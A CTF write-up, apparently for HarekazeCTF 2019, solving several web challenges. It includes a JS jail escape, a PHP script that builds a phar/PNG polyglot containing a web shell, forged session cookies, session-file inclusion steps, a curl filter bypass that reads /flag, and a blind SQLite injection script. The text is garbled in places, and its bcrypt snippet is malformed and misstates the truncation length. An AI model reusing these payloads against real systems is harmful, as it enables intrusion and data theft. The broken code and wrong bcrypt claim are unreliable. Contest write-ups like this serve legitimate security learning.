Table of Contents
I played the CTF with the team name Yokosuka Hackers
(Japan-Korea join team) and achieved 1st place.
Here are writeups for web/misc challenges.
Simple JS Jail challenge.
It is running on context, so we have nothing to do but to play with constructor
and console
.
The equation for this jail was as follows. no quotes, backticks and numbers are allowed. Just alphabets, dots and braces were allowed.
1337 === eval(our_input)
so what we need to make is
1337 === int(str(int(1)).concat(3).concat(3).concat(7))
constructor.length.constructor = Integer object
constructor.name.constructor = String object
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7
constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))
HarekazeCTF{seikai_wa_hitotsu!janai!!}
<?php
$a = fread(fopen("a.png","rb"), filesize("a.png")) . str_repeat("\x00", 32);
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('exploit.css', '<?php @var_dump($_GET[1]($_GET[2])); ?>');
$phar->setStub($a . '<?php __HALT_COMPILER(); ? >');
//$phar->setMetadata($obj);
$phar->stopBuffering();
?>
http://153.127.202.154:1002/uploads/64f3139f.png
session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9fQ.JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX
Now we modify theme with uploaded file from (3) {"name":"STYPRSTYPRSTYPRA","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"}, "theme": "phar://./uploads/64f3139f.png/exploit"}
crypt()
function's implementaion and its default bcrypt
specification; the check length is limited per spec. Considering that we have a long secret, we can just add the plaintext at the end of session text and password_verify
is easily bypassed.$a = password_hash(str_repeat("A"*128, PASSWORD_BCRYPT);
var_dump(password_verify(str_repeat("A"*256), $a)); // true, because it only checks the first 128 byte
document.cookie="session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9LCAidGhlbWUiOiAicGhhcjovLy4vdXBsb2Fkcy82NGYzMTM5Zi5wbmcvZXhwbG9pdCJ9" +".JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX";
vertical-align: middle;
}
/* light/dark.css */
HarekazeCTF{lfi_with_phar_is_fun}
string(33) "HarekazeCTF{lfi_with_phar_is_fun}"
/**/
</style>
...
I thought too deep for this challenge and I also bypassed with zip:// during the competition. (?!)
At the time of solving this challenge, I was not able to connect the server, so I contacted st98-san to check the challenge with my payload.
This challenge is about the problem that can cause when session files and uploaded files are in the same directory.
To successfullly exploit this challenge, we need to export the data with the PHP session filename format and load the session from Cookie.
sess_imouto
, to create session file during export. PHP session files start with sess_
.title: dummy|s:1:"d";user|s:6:"imouto";admin|b:1;
/ content: kawaii
. Content is not required./export.php?type=.ok
-> due to str_replace
function, str_replace("..", "", "/var/www/tmp/sess_imouto-(rand)." . ".ok");
/export.php
response, so we take out the filename.index.php?page=flag
with Cookie: PHPSESSID=xyz
where xyz
is the filename retrieved from (4).Very simple. We can use \u
escapes per JSON specification. so we can bypass filters and load the flag file.
root@imouto-router:~# curl -v "http://problem.harekaze.com:10001/query.php" -d '{"page": "\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}'
* Trying 133.242.238.121...
* TCP_NODELAY set
* Connected to problem.harekaze.com (133.242.238.121) port 10001 (#0)
> POST /query.php HTTP/1.1
> Host: problem.harekaze.com:10001
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 71
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 71 out of 71 bytes
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2019 08:15:23 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.3.5
< Content-Length: 66
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host problem.harekaze.com left intact
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}
shpik san, safflower san, ptr-yudai san and I were on this challenge.
we were able to retrieve some part of the flag, but we didn't have much time to finish this challenge.
it is basically error-based blind sql injection on SQLite. since there were many patches on sqlite module, we had to find some new payloads to attack the service.
import requests
import readline
url = "http://mashiro.com/sqlite-voting/vote.php"
url = "http://153.127.202.154:1004/vote.php"
def rr(payload):
global url
data = {"id":payload}
r = requests.post(url,data=data)
return r.text
length = 38
'''
for i in range(150,155):
query = "((select(length(hex(hex(flag))))from(flag))between(%d)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(i,i)
t = rr(query)
print 'try : ',i,t
if 'error' in t:
length = i
break
'''
#print 'length is ',i
# length = 38
flag = '343836313732363536623631376136353433353434363762'
flag = '343836313732363536423631374136353433353434363742'
for i in range(151-len(flag),-1,-1):
for k in range(0,10):
query = "((select(length(trim(hex(hex(flag)),%s)))from(flag))between(1)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(flag+str(k),i)
t = rr(query)
print 'try:',i, k ,query
if 'error' in t:
flag += str(k)
print 'now : ', flag
break